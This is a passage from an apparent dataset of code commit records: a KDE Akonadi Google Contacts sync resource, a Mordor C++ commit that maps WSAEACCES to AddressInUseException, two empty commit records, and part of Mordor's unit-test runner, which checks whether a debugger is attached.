  \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\tif (item.hasPayload<KABC::Addressee>())\n\t\taddressee = item.payload<KABC::Addressee>();\n\n\tif (!(contact = gcal_contact_new(NULL)))\n\t\texit(1);\n\n\ttemp = addressee.realName();\n\tt_byte = temp.toLocal8Bit();\n\tgcal_contact_set_title(contact, const_cast<char *>(t_byte.constData()));\n\n\ttemp = addressee.fullEmail();\n\tt_byte = temp.toLocal8Bit();\n\tgcal_contact_set_email(contact, const_cast<char *>(t_byte.constData()));\n\n\t\/* TODO: add remaining fields *\/\n\n\tif ((result = gcal_add_contact(gcal, contact))) {\n\t\tkError() << \"Failed adding new contact\"\n\t\t\t << \"name: \" << addressee.realName()\n\t\t\t << \"email: \" << addressee.fullEmail();\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Failed adding new contact\");\n\t\temit error(message);\n\t\temit status(Broken, message);\n\n\t}\n\t\/* remoteID: etag+edit_url *\/\n\tKUrl urlEtag(gcal_contact_get_url(contact));\n\turlEtag.addQueryItem(\"etag\", gcal_contact_get_etag(contact));\n\t\/\/FIXME: this guy is const... how to supply the etag\/url?\n\t\/\/item.setRemoteId(urlEtag.url());\n\n\t\/* cleanup *\/\n\tgcal_contact_delete(contact);\n\n}\n\nvoid GoogleDataResource::itemChanged( const Akonadi::Item &item, const QSet<QByteArray> &parts )\n{\n\tQ_UNUSED(parts);\n\n\tKABC::Addressee addressee;\n\tgcal_contact_t contact;\n\tQByteArray t_byte;\n\tQString temp;\n\tint result;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\tif (item.hasPayload<KABC::Addressee>())\n\t\taddressee = item.payload<KABC::Addressee>();\n\n\tif (!(contact = gcal_contact_new(NULL)))\n\t\texit(1);\n\n\ttemp = addressee.realName();\n\tgcal_contact_set_title(contact, const_cast<char *>(qPrintable(temp)));\n\n\ttemp = addressee.fullEmail();\n\tgcal_contact_set_email(contact, const_cast<char *>(qPrintable(temp)));\n\n\t\/* TODO: add remaining fields *\/\n\n\tKUrl url(item.remoteId());\n\ttemp = url.queryItem(\"etag\");\n\tt_byte = temp.toAscii();\n\tgcal_contact_set_etag(contact, const_cast<char *>(t_byte.constData()));\n\n\turl.removeQueryItem(\"etag\");\n\ttemp = url.url();\n\tt_byte = temp.toAscii();\n\tgcal_contact_set_url(contact, const_cast<char *>(t_byte.constData()));\n\n\tif ((result = gcal_update_contact(gcal, contact))) {\n\t\tkError() << \"Failed editing contact\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Failed editing new contact\");\n\t\temit error(message);\n\t\temit status(Broken, message);\n\n\t}\n\n\t\/* remoteID: etag+edit_url *\/\n\tKUrl urlEtag(gcal_contact_get_url(contact));\n\turlEtag.addQueryItem(\"etag\", gcal_contact_get_etag(contact));\n\t\/\/FIXME: this guy is const... how to supply the etag\/url?\n\t\/\/item.setRemoteId(urlEtag.url());\n\n\tgcal_contact_delete(contact);\n}\n\nvoid GoogleDataResource::itemRemoved( const Akonadi::Item &item )\n{\n\tKABC::Addressee addressee;\n\tgcal_contact_t contact;\n\tQString temp;\n\tQByteArray t_byte;\n\tint result;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\tif (!(contact = gcal_contact_new(NULL))) {\n\t\tkError() << \"Memory allocation error!\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Failed to create gcal_contact\");\n\t\temit error(message);\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\n\tKUrl url(item.remoteId());\n\ttemp = url.queryItem(\"etag\");\n\tt_byte = temp.toAscii();\n\tgcal_contact_set_etag(contact, const_cast<char *>(t_byte.constData()));\n\n\turl.removeQueryItem(\"etag\");\n\ttemp = url.url();\n\tt_byte = temp.toAscii();\n\tgcal_contact_set_url(contact, const_cast<char *>(t_byte.constData()));\n\n\tif ((result = gcal_erase_contact(gcal, contact))) {\n\t\tkError() << \"Failed deleting contact\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Failed deleting new contact\");\n\t\temit error(message);\n\t\temit status(Broken, message);\n\n\t}\n\n\tgcal_contact_delete(contact);\n}\n\nAKONADI_RESOURCE_MAIN( GoogleDataResource )\n\n#include \"googledataresource.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 - Mozy, Inc.\n\n#include \"exception.h\"\n\n#ifdef WINDOWS\n#include <dbghelp.h>\n\n#include \"runtime_linking.h\"\n\n#pragma comment(lib, \"dbghelp\")\n#else\n#include <errno.h>\n#include <execinfo.h>\n#include <netdb.h>\n#include <string.h>\n#endif\n\n#include <boost\/thread\/mutex.hpp>\n\n#include \"socket.h\"\n\nnamespace Mordor {\n\n#ifdef WINDOWS\nstatic BOOL g_useSymbols;\n\nnamespace {\n\nstatic struct Initializer {\n    Initializer()\n    {\n        SymSetOptions(SYMOPT_DEFERRED_LOADS |\n            SYMOPT_FAIL_CRITICAL_ERRORS |\n            SYMOPT_LOAD_LINES |\n            SYMOPT_NO_PROMPTS);\n        g_useSymbols = SymInitialize(GetCurrentProcess(), NULL, TRUE);\n    }\n\n    ~Initializer()\n    {\n        if (g_useSymbols)\n            SymCleanup(GetCurrentProcess());\n    }\n} g_init;\n\n}\n#endif\n\nstd::string to_string(const std::vector<void *> backtrace)\n{\n#ifdef WINDOWS\n    static boost::mutex s_mutex;\n    boost::mutex::scoped_lock lock(s_mutex);\n#endif\n    std::ostringstream os;\n#ifdef POSIX\n    boost::shared_ptr<char *> symbols(backtrace_symbols(&backtrace[0],\n        backtrace.size()), &free);\n#endif\n    for (size_t i = 0; i < backtrace.size(); ++i) {\n        if (i != 0)\n            os << std::endl;\n#ifdef WINDOWS\n        os << backtrace[i];\n        if (g_useSymbols) {\n            char buf[sizeof(SYMBOL_INFO) + MAX_SYM_NAME - 1];\n            SYMBOL_INFO *symbol = (SYMBOL_INFO*)buf;\n            symbol->SizeOfStruct = sizeof(SYMBOL_INFO);\n            symbol->MaxNameLen = MAX_SYM_NAME;\n            DWORD64 displacement64 = 0;\n            if (pSymFromAddr(GetCurrentProcess(), (DWORD64)backtrace[i],\n                &displacement64, symbol)) {\n                os << \": \" << symbol->Name << \"+\" << displacement64;\n            }\n            IMAGEHLP_LINE64 line;\n            line.SizeOfStruct = sizeof(IMAGEHLP_LINE64);\n            DWORD displacement = 0;\n            if (pSymGetLineFromAddr64(GetCurrentProcess(),\n                (DWORD64)backtrace[i], &displacement, &line)) {\n                os << \": \" << line.FileName << \"(\" << line.LineNumber << \")+\"\n                    << displacement;\n            }\n        }\n#else\n        if (symbols)\n            os << symbols.get()[i];\n        else\n            os << backtrace[i];\n#endif\n    }\n    return os.str();\n}\n\nstd::string to_string( errinfo_backtrace const &bt )\n{\n    return to_string(bt.value());\n}\n\n#ifdef WINDOWS\nstd::string to_string( errinfo_lasterror const &e)\n{\n    std::string result;\n    char *desc;\n    DWORD numChars = FormatMessage(\n        FORMAT_MESSAGE_ALLOCATE_BUFFER |\n        FORMAT_MESSAGE_FROM_SYSTEM |\n        FORMAT_MESSAGE_IGNORE_INSERTS,\n        NULL,\n        e.value(), 0,\n        (char*)&desc, 0, NULL);\n    if (numChars > 0) {\n        result = desc;\n        LocalFree((HANDLE)desc);\n    }\n    std::ostringstream os;\n    os << e.value() << \", \\\"\" << result << \"\\\"\";\n    return os.str();\n}\n#else\nstd::string to_string( errinfo_gaierror const &e)\n{\n    std::ostringstream os;\n    os << e.value() << \", \\\"\" << gai_strerror(e.value()) << \"\\\"\";\n    return os.str();\n}\n#endif\n\nstd::vector<void *> backtrace(int framesToSkip)\n{\n    std::vector<void *> result;\n#ifdef WINDOWS\n    result.resize(64);\n    WORD count = pRtlCaptureStackBackTrace(1 + framesToSkip, 61 - framesToSkip, &result[0], NULL);\n    result.resize(count);\n#else\n    result.resize(64);\n    int count = ::backtrace(&result[0], 64);\n    result.resize(count);\n    framesToSkip = std::min(count, framesToSkip + 1);\n    result.erase(result.begin(), result.begin() + framesToSkip);\n#endif\n    return result;\n}\n\nvoid removeTopFrames(boost::exception &ex, int framesToSkip)\n{\n    const std::vector<void *> *oldbt = boost::get_error_info<errinfo_backtrace>(ex);\n    if (oldbt && !oldbt->empty()) {\n        std::vector<void *> newbt(*oldbt);\n        std::vector<void *> bt = backtrace();\n        size_t count = 0;\n        ++framesToSkip;\n        for (; count + framesToSkip < newbt.size() &&\n            count + framesToSkip < bt.size(); ++count) {\n            if (bt[bt.size() - count - 1] != newbt[newbt.size() - count - 1])\n                break;\n        }\n        count -= framesToSkip;\n        newbt.resize(newbt.size() > count ? newbt.size() - count : 0);\n        ex << errinfo_backtrace(newbt);\n    }\n}\n\nvoid rethrow_exception(boost::exception_ptr const & ep)\n{\n    \/\/ Take the backtrace from here, to avoid additional frames from the\n    \/\/ exception handler\n    std::vector<void *> bt = backtrace(1);\n    try {\n        boost::rethrow_exception(ep);\n    } catch (boost::exception &e) {\n        const std::vector<void *> *oldbt =\n            boost::get_error_info<errinfo_backtrace>(e);\n        if (oldbt)\n            bt.insert(bt.begin(), oldbt->begin(), oldbt->end());\n        e << errinfo_backtrace(bt);\n        throw;\n    }\n}\n\n#ifdef WINDOWS\n#define WSA(error) WSA ## error\n#else\n#define WSA(error) error\n#endif\n\nstatic void throwSocketException(error_t error)\n{\n    switch (error) {\n        case WSA(EADDRINUSE):\n#ifdef WINDOWS\n        case ERROR_ADDRESS_ALREADY_ASSOCIATED:\n#endif\n            throw boost::enable_current_exception(AddressInUseException())\n                << errinfo_nativeerror(error);\n        case WSA(ECONNABORTED):\n#ifdef WINDOWS\n        case ERROR_CONNECTION_ABORTED:\n#endif\n            throw boost::enable_current_exception(ConnectionAbortedException())\n                << errinfo_nativeerror(error);\n        case WSA(ECONNRESET):\n            throw boost::enable_current_exception(ConnectionResetException())\n                << errinfo_nativeerror(error);\n        case WSA(ECONNREFUSED):\n#ifdef WINDOWS\n        case ERROR_CONNECTION_REFUSED:\n#endif\n            throw boost::enable_current_exception(ConnectionRefusedException())\n                << errinfo_nativeerror(error);\n        case WSA(EHOSTDOWN):\n            throw boost::enable_current_exception(HostDownException())\n                << errinfo_nativeerror(error);\n        case WSA(EHOSTUNREACH):\n#ifdef WINDOWS\n        case ERROR_HOST_UNREACHABLE:\n#endif\n            throw boost::enable_current_exception(HostUnreachableException())\n                << errinfo_nativeerror(error);\n        case WSA(ENETDOWN):\n            throw boost::enable_current_exception(NetworkDownException())\n                << errinfo_nativeerror(error);\n        case WSA(ENETRESET):\n#ifdef WINDOWS\n        case ERROR_NETNAME_DELETED:\n#endif\n            throw boost::enable_current_exception(NetworkResetException())\n                << errinfo_nativeerror(error);\n        case WSA(ENETUNREACH):\n#ifdef WINDOWS\n        case ERROR_NETWORK_UNREACHABLE:\n#endif\n            throw boost::enable_current_exception(NetworkUnreachableException())\n                << errinfo_nativeerror(error);\n        case WSA(ETIMEDOUT):\n            throw boost::enable_current_exception(TimedOutException())\n                << errinfo_nativeerror(error);\n        default:\n            break;\n    }\n}\n\n#ifdef WINDOWS\nerror_t lastError()\n{\n    return GetLastError();\n}\n\nvoid lastError(error_t error)\n{\n    SetLastError(error);\n}\n\nvoid throwExceptionFromLastError(error_t error)\n{\n    switch (error) {\n        case ERROR_INVALID_HANDLE:\n        case WSAENOTSOCK:\n            throw boost::enable_current_exception(BadHandleException())\n                << errinfo_nativeerror(error);\n        case ERROR_FILE_NOT_FOUND:\n            throw boost::enable_current_exception(FileNotFoundException())\n                << errinfo_nativeerror(error);\n        case ERROR_ACCESS_DENIED:\n            throw boost::enable_current_exception(AccessDeniedException())\n                << errinfo_nativeerror(error);\n        case ERROR_OPERATION_ABORTED:\n            throw boost::enable_current_exception(OperationAbortedException())\n                << errinfo_nativeerror(error);\n        case ERROR_BROKEN_PIPE:\n            throw boost::enable_current_exception(UnexpectedEofException())\n                << errinfo_nativeerror(error);\n        case WSAESHUTDOWN:\n            throw boost::enable_current_exception(BrokenPipeException())\n                << errinfo_nativeerror(error);\n        case ERROR_SHARING_VIOLATION:\n            throw boost::enable_current_exception(SharingViolation())\n                << errinfo_nativeerror(error);\n        case ERROR_CANT_RESOLVE_FILENAME:\n            throw boost::enable_current_exception(UnresolvablePathException())\n                << errinfo_nativeerror(error);\n        case ERROR_DISK_FULL:\n            throw boost::enable_current_exception(OutOfDiskSpaceException())\n                << errinfo_nativeerror(error);\n        case ERROR_NO_UNICODE_TRANSLATION:\n            throw boost::enable_current_exception(InvalidUnicodeException())\n                << errinfo_nativeerror(error);\n        default:\n            throwSocketException(error);\n            throw boost::enable_current_exception(NativeException())\n                << errinfo_nativeerror(error);\n    }\n}\n#else\n\nerror_t lastError()\n{\n    return errno;\n}\n\nvoid lastError(error_t error)\n{\n    errno = error;\n}\n\nvoid throwExceptionFromLastError(error_t error)\n{\n    switch (error) {\n        case EBADF:\n            throw boost::enable_current_exception(BadHandleException())\n                << errinfo_nativeerror(error);\n        case ENOENT:\n            throw boost::enable_current_exception(FileNotFoundException())\n                << errinfo_nativeerror(error);\n        case EACCES:\n            throw boost::enable_current_exception(AccessDeniedException())\n                << errinfo_nativeerror(error);\n        case ECANCELED:\n            throw boost::enable_current_exception(OperationAbortedException())\n                << errinfo_nativeerror(error);\n        case EPIPE:\n            throw boost::enable_current_exception(BrokenPipeException())\n                << errinfo_nativeerror(error);\n        case EISDIR:\n            throw boost::enable_current_exception(IsDirectoryException())\n                << errinfo_nativeerror(error);\n        case ENOTDIR:\n            throw boost::enable_current_exception(IsNotDirectoryException())\n                << errinfo_nativeerror(error);\n        case ELOOP:\n            throw boost::enable_current_exception(TooManySymbolicLinksException())\n                << errinfo_nativeerror(error);\n        case ENOSPC:\n            throw boost::enable_current_exception(OutOfDiskSpaceException())\n            << errinfo_nativeerror(error);\n        default:\n            throwSocketException(error);\n            throw boost::enable_current_exception(NativeException())\n                << errinfo_nativeerror(error);\n    }\n}\n#endif\n\n}\n<commit_msg>Treat WSAEACCES as AddressInUseException<commit_after>\/\/ Copyright (c) 2009 - Mozy, Inc.\n\n#include \"exception.h\"\n\n#ifdef WINDOWS\n#include <dbghelp.h>\n\n#include \"runtime_linking.h\"\n\n#pragma comment(lib, \"dbghelp\")\n#else\n#include <errno.h>\n#include <execinfo.h>\n#include <netdb.h>\n#include <string.h>\n#endif\n\n#include <boost\/thread\/mutex.hpp>\n\n#include \"socket.h\"\n\nnamespace Mordor {\n\n#ifdef WINDOWS\nstatic BOOL g_useSymbols;\n\nnamespace {\n\nstatic struct Initializer {\n    Initializer()\n    {\n        SymSetOptions(SYMOPT_DEFERRED_LOADS |\n            SYMOPT_FAIL_CRITICAL_ERRORS |\n            SYMOPT_LOAD_LINES |\n            SYMOPT_NO_PROMPTS);\n        g_useSymbols = SymInitialize(GetCurrentProcess(), NULL, TRUE);\n    }\n\n    ~Initializer()\n    {\n        if (g_useSymbols)\n            SymCleanup(GetCurrentProcess());\n    }\n} g_init;\n\n}\n#endif\n\nstd::string to_string(const std::vector<void *> backtrace)\n{\n#ifdef WINDOWS\n    static boost::mutex s_mutex;\n    boost::mutex::scoped_lock lock(s_mutex);\n#endif\n    std::ostringstream os;\n#ifdef POSIX\n    boost::shared_ptr<char *> symbols(backtrace_symbols(&backtrace[0],\n        backtrace.size()), &free);\n#endif\n    for (size_t i = 0; i < backtrace.size(); ++i) {\n        if (i != 0)\n            os << std::endl;\n#ifdef WINDOWS\n        os << backtrace[i];\n        if (g_useSymbols) {\n            char buf[sizeof(SYMBOL_INFO) + MAX_SYM_NAME - 1];\n            SYMBOL_INFO *symbol = (SYMBOL_INFO*)buf;\n            symbol->SizeOfStruct = sizeof(SYMBOL_INFO);\n            symbol->MaxNameLen = MAX_SYM_NAME;\n            DWORD64 displacement64 = 0;\n            if (pSymFromAddr(GetCurrentProcess(), (DWORD64)backtrace[i],\n                &displacement64, symbol)) {\n                os << \": \" << symbol->Name << \"+\" << displacement64;\n            }\n            IMAGEHLP_LINE64 line;\n            line.SizeOfStruct = sizeof(IMAGEHLP_LINE64);\n            DWORD displacement = 0;\n            if (pSymGetLineFromAddr64(GetCurrentProcess(),\n                (DWORD64)backtrace[i], &displacement, &line)) {\n                os << \": \" << line.FileName << \"(\" << line.LineNumber << \")+\"\n                    << displacement;\n            }\n        }\n#else\n        if (symbols)\n            os << symbols.get()[i];\n        else\n            os << backtrace[i];\n#endif\n    }\n    return os.str();\n}\n\nstd::string to_string( errinfo_backtrace const &bt )\n{\n    return to_string(bt.value());\n}\n\n#ifdef WINDOWS\nstd::string to_string( errinfo_lasterror const &e)\n{\n    std::string result;\n    char *desc;\n    DWORD numChars = FormatMessage(\n        FORMAT_MESSAGE_ALLOCATE_BUFFER |\n        FORMAT_MESSAGE_FROM_SYSTEM |\n        FORMAT_MESSAGE_IGNORE_INSERTS,\n        NULL,\n        e.value(), 0,\n        (char*)&desc, 0, NULL);\n    if (numChars > 0) {\n        result = desc;\n        LocalFree((HANDLE)desc);\n    }\n    std::ostringstream os;\n    os << e.value() << \", \\\"\" << result << \"\\\"\";\n    return os.str();\n}\n#else\nstd::string to_string( errinfo_gaierror const &e)\n{\n    std::ostringstream os;\n    os << e.value() << \", \\\"\" << gai_strerror(e.value()) << \"\\\"\";\n    return os.str();\n}\n#endif\n\nstd::vector<void *> backtrace(int framesToSkip)\n{\n    std::vector<void *> result;\n#ifdef WINDOWS\n    result.resize(64);\n    WORD count = pRtlCaptureStackBackTrace(1 + framesToSkip, 61 - framesToSkip, &result[0], NULL);\n    result.resize(count);\n#else\n    result.resize(64);\n    int count = ::backtrace(&result[0], 64);\n    result.resize(count);\n    framesToSkip = std::min(count, framesToSkip + 1);\n    result.erase(result.begin(), result.begin() + framesToSkip);\n#endif\n    return result;\n}\n\nvoid removeTopFrames(boost::exception &ex, int framesToSkip)\n{\n    const std::vector<void *> *oldbt = boost::get_error_info<errinfo_backtrace>(ex);\n    if (oldbt && !oldbt->empty()) {\n        std::vector<void *> newbt(*oldbt);\n        std::vector<void *> bt = backtrace();\n        size_t count = 0;\n        ++framesToSkip;\n        for (; count + framesToSkip < newbt.size() &&\n            count + framesToSkip < bt.size(); ++count) {\n            if (bt[bt.size() - count - 1] != newbt[newbt.size() - count - 1])\n                break;\n        }\n        count -= framesToSkip;\n        newbt.resize(newbt.size() > count ? newbt.size() - count : 0);\n        ex << errinfo_backtrace(newbt);\n    }\n}\n\nvoid rethrow_exception(boost::exception_ptr const & ep)\n{\n    \/\/ Take the backtrace from here, to avoid additional frames from the\n    \/\/ exception handler\n    std::vector<void *> bt = backtrace(1);\n    try {\n        boost::rethrow_exception(ep);\n    } catch (boost::exception &e) {\n        const std::vector<void *> *oldbt =\n            boost::get_error_info<errinfo_backtrace>(e);\n        if (oldbt)\n            bt.insert(bt.begin(), oldbt->begin(), oldbt->end());\n        e << errinfo_backtrace(bt);\n        throw;\n    }\n}\n\n#ifdef WINDOWS\n#define WSA(error) WSA ## error\n#else\n#define WSA(error) error\n#endif\n\nstatic void throwSocketException(error_t error)\n{\n    switch (error) {\n        case WSA(EADDRINUSE):\n#ifdef WINDOWS\n        \/\/ WSAEACESS is returned from bind when you set SO_REUSEADDR, and\n        \/\/ another socket has set SO_EXCLUSIVEADDRUSE\n        case WSAEACCES:\n        case ERROR_ADDRESS_ALREADY_ASSOCIATED:\n#endif\n            throw boost::enable_current_exception(AddressInUseException())\n                << errinfo_nativeerror(error);\n        case WSA(ECONNABORTED):\n#ifdef WINDOWS\n        case ERROR_CONNECTION_ABORTED:\n#endif\n            throw boost::enable_current_exception(ConnectionAbortedException())\n                << errinfo_nativeerror(error);\n        case WSA(ECONNRESET):\n            throw boost::enable_current_exception(ConnectionResetException())\n                << errinfo_nativeerror(error);\n        case WSA(ECONNREFUSED):\n#ifdef WINDOWS\n        case ERROR_CONNECTION_REFUSED:\n#endif\n            throw boost::enable_current_exception(ConnectionRefusedException())\n                << errinfo_nativeerror(error);\n        case WSA(EHOSTDOWN):\n            throw boost::enable_current_exception(HostDownException())\n                << errinfo_nativeerror(error);\n        case WSA(EHOSTUNREACH):\n#ifdef WINDOWS\n        case ERROR_HOST_UNREACHABLE:\n#endif\n            throw boost::enable_current_exception(HostUnreachableException())\n                << errinfo_nativeerror(error);\n        case WSA(ENETDOWN):\n            throw boost::enable_current_exception(NetworkDownException())\n                << errinfo_nativeerror(error);\n        case WSA(ENETRESET):\n#ifdef WINDOWS\n        case ERROR_NETNAME_DELETED:\n#endif\n            throw boost::enable_current_exception(NetworkResetException())\n                << errinfo_nativeerror(error);\n        case WSA(ENETUNREACH):\n#ifdef WINDOWS\n        case ERROR_NETWORK_UNREACHABLE:\n#endif\n            throw boost::enable_current_exception(NetworkUnreachableException())\n                << errinfo_nativeerror(error);\n        case WSA(ETIMEDOUT):\n            throw boost::enable_current_exception(TimedOutException())\n                << errinfo_nativeerror(error);\n        default:\n            break;\n    }\n}\n\n#ifdef WINDOWS\nerror_t lastError()\n{\n    return GetLastError();\n}\n\nvoid lastError(error_t error)\n{\n    SetLastError(error);\n}\n\nvoid throwExceptionFromLastError(error_t error)\n{\n    switch (error) {\n        case ERROR_INVALID_HANDLE:\n        case WSAENOTSOCK:\n            throw boost::enable_current_exception(BadHandleException())\n                << errinfo_nativeerror(error);\n        case ERROR_FILE_NOT_FOUND:\n            throw boost::enable_current_exception(FileNotFoundException())\n                << errinfo_nativeerror(error);\n        case ERROR_ACCESS_DENIED:\n            throw boost::enable_current_exception(AccessDeniedException())\n                << errinfo_nativeerror(error);\n        case ERROR_OPERATION_ABORTED:\n            throw boost::enable_current_exception(OperationAbortedException())\n                << errinfo_nativeerror(error);\n        case ERROR_BROKEN_PIPE:\n            throw boost::enable_current_exception(UnexpectedEofException())\n                << errinfo_nativeerror(error);\n        case WSAESHUTDOWN:\n            throw boost::enable_current_exception(BrokenPipeException())\n                << errinfo_nativeerror(error);\n        case ERROR_SHARING_VIOLATION:\n            throw boost::enable_current_exception(SharingViolation())\n                << errinfo_nativeerror(error);\n        case ERROR_CANT_RESOLVE_FILENAME:\n            throw boost::enable_current_exception(UnresolvablePathException())\n                << errinfo_nativeerror(error);\n        case ERROR_DISK_FULL:\n            throw boost::enable_current_exception(OutOfDiskSpaceException())\n                << errinfo_nativeerror(error);\n        case ERROR_NO_UNICODE_TRANSLATION:\n            throw boost::enable_current_exception(InvalidUnicodeException())\n                << errinfo_nativeerror(error);\n        default:\n            throwSocketException(error);\n            throw boost::enable_current_exception(NativeException())\n                << errinfo_nativeerror(error);\n    }\n}\n#else\n\nerror_t lastError()\n{\n    return errno;\n}\n\nvoid lastError(error_t error)\n{\n    errno = error;\n}\n\nvoid throwExceptionFromLastError(error_t error)\n{\n    switch (error) {\n        case EBADF:\n            throw boost::enable_current_exception(BadHandleException())\n                << errinfo_nativeerror(error);\n        case ENOENT:\n            throw boost::enable_current_exception(FileNotFoundException())\n                << errinfo_nativeerror(error);\n        case EACCES:\n            throw boost::enable_current_exception(AccessDeniedException())\n                << errinfo_nativeerror(error);\n        case ECANCELED:\n            throw boost::enable_current_exception(OperationAbortedException())\n                << errinfo_nativeerror(error);\n        case EPIPE:\n            throw boost::enable_current_exception(BrokenPipeException())\n                << errinfo_nativeerror(error);\n        case EISDIR:\n            throw boost::enable_current_exception(IsDirectoryException())\n                << errinfo_nativeerror(error);\n        case ENOTDIR:\n            throw boost::enable_current_exception(IsNotDirectoryException())\n                << errinfo_nativeerror(error);\n        case ELOOP:\n            throw boost::enable_current_exception(TooManySymbolicLinksException())\n                << errinfo_nativeerror(error);\n        case ENOSPC:\n            throw boost::enable_current_exception(OutOfDiskSpaceException())\n            << errinfo_nativeerror(error);\n        default:\n            throwSocketException(error);\n            throw boost::enable_current_exception(NativeException())\n                << errinfo_nativeerror(error);\n    }\n}\n#endif\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>use bind instead of connect<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Add one more example of flatmap<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 - Decho Corp.\n\n#include \"mordor\/pch.h\"\n\n#include \"test.h\"\n\n#include <iostream>\n\n#include \"mordor\/config.h\"\n\n#ifdef WINDOWS\n#include <windows.h>\n#elif defined (LINUX)\n#include <fcntl.h>\n#include <stdlib.h>\n#include <string.h>\n#elif defined (OSX)\n#include <sys\/sysctl.h>\n#endif\n\nusing namespace Mordor;\nusing namespace Mordor::Test;\n\nstatic TestSuites *g_allTests;\n#ifdef LINUX\nstatic bool g_traced;\n#endif\n\nstatic ConfigVar<bool>::ptr g_protect = Config::lookup(\n    \"test.protect\", false,\n    \"Protect test while running under a debugger\");\n\nnamespace {\nstatic struct Initializer {\n#ifdef LINUX\n    Initializer()\n    {\n        char buffer[1024];\n        snprintf(buffer, 1024, \"\/proc\/%d\/status\", getpid());\n        int fd = open(buffer, O_RDONLY);\n        if (fd >= 0) {\n            int rc = read(fd, buffer, 1024);\n            if (rc > 0) {\n                const char *tracerPidStr = strstr(buffer, \"TracerPid:\");\n                if (tracerPidStr) {\n                    int tracingPid = atoi(tracerPidStr + 13);\n                    if (tracingPid != 0) {\n                        g_traced = true;\n                    }\n                }\n            }\n            close(fd);\n        }\n    }\n#endif\n    ~Initializer()\n    {\n        if (g_allTests)\n            delete g_allTests;\n    }\n} g_init;\n}\n\nvoid\nTest::registerTest(const std::string &suite, const std::string &testName,\n             TestDg test)\n{\n    if (!g_allTests)\n        g_allTests = new TestSuites();\n    (*g_allTests)[suite].second[testName] = test;\n}\n\nvoid\nTest::registerSuiteInvariant(const std::string &suite, TestDg invariant)\n{\n    if (!g_allTests)\n        g_allTests = new TestSuites();\n    MORDOR_ASSERT((*g_allTests)[suite].first == NULL);\n    (*g_allTests)[suite].first = invariant;\n}\n\nvoid\nTest::assertion(const char *file, int line, const char *function,\n                const std::string &expr)\n{\n    throw boost::enable_current_exception(Assertion(expr))\n        << boost::throw_file(file) << boost::throw_line(line)\n        << boost::throw_function(function)\n        << errinfo_backtrace(backtrace());\n}\n\nstatic bool\nrunTest(TestListener *listener, const std::string &suite,\n             const std::string &testName, TestDg test)\n{\n    if (listener)\n        listener->testStarted(suite, testName);\n    \n    bool protect = true;\n#ifdef WINDOWS\n    protect = !IsDebuggerPresent();\n#elif defined (LINUX)\n    protect = !g_traced;\n#elif defined (OSX)\n    int mib[4];\n    kinfo_proc info;\n    size_t size;\n    mib[0] = CTL_KERN;\n    mib[1] = KERN_PROC;\n    mib[2] = KERN_PROC_PID;\n    mib[3] = getpid();\n    size = sizeof(kinfo_proc);\n    info.kp_proc.p_flag = 0;\n    sysctl(mib, 4, &info, &size, NULL, 0);\n    protect = !(info.kp_proc.p_flag & P_TRACED);\n#endif\n    protect = protect || g_protect->val();\n    if (protect) {\n        try {\n            test();\n            if (listener)\n                listener->testComplete(suite, testName);\n        } catch (const Assertion &assertion) {\n            if (listener)\n                listener->testAsserted(suite, testName, assertion);\n            return false;\n        } catch (...) {\n            if (listener)\n                listener->testException(suite, testName);\n            return false;\n        }\n    } else {\n        test();\n        if (listener)\n            listener->testComplete(suite, testName);\n    }\n    return true;\n}\n\nstatic bool\nrunTests(const TestSuites *suites, TestListener *listener)\n{\n    bool result = true;\n    if (!suites) suites = g_allTests;\n    if (suites) {\n        for (TestSuites::const_iterator it(suites->begin());\n            it != suites->end();\n            ++it) {\n            for (TestSuite::second_type::const_iterator\n                    it2(it->second.second.begin());\n                it2 != it->second.second.end();\n                ++it2) {\n                if (it->second.first) {\n                    result = result && runTest(listener, it->first,\n                        \"<invariant>\", it->second.first);\n                }\n                result = runTest(listener, it->first, it2->first,\n                    it2->second) && result;\n            }\n            if (it->second.first) {\n                result = runTest(listener, it->first,\n                    \"<invariant>\", it->second.first) && result;\n            }\n        }\n    }\n    if (listener)\n        listener->testsComplete();\n    return result;\n}\n\nconst TestSuites &\nTest::allTests()\n{\n    if (!g_allTests)\n        g_allTests = new TestSuites();\n    return *g_allTests;\n}\n\nTestSuites\nTest::testsForArguments(int argc, const char **argv)\n{\n    TestSuites tests;\n    const TestSuites &all = allTests();\n    for (int i = 0; i < argc; ++i) {\n        std::string suite = argv[i];\n        std::string test;\n        size_t offset = suite.find(\"::\");\n        if (offset != std::string::npos) {\n            test = suite.substr(offset + 2);\n            suite = suite.substr(0, offset);\n        }\n        TestSuites::const_iterator suiteIt = all.find(suite);\n        if (suiteIt != all.end()) {\n            if (test.empty()) {\n                tests[suite] = suiteIt->second;\n            } else {\n                TestSuite::second_type::const_iterator testIt =\n                    suiteIt->second.second.find(test);\n                if (testIt != suiteIt->second.second.end()) {\n                    tests[suite].first = suiteIt->second.first;\n                    tests[suite].second[test] = testIt->second;\n                }\n            }                \n        }\n    }\n    return tests;\n}\n\nbool\nTest::runTests()\n{\n    return ::runTests(g_allTests, NULL);\n}\n\nbool\nTest::runTests(const TestSuites &suites)\n{\n    return ::runTests(&suites, NULL);\n}\n\nbool\nTest::runTests(TestListener &listener)\n{\n    return ::runTests(g_allTests, &listener);\n}\n\nbool\nTest::runTests(const TestSuites &suites, TestListener &listener)\n{\n    return 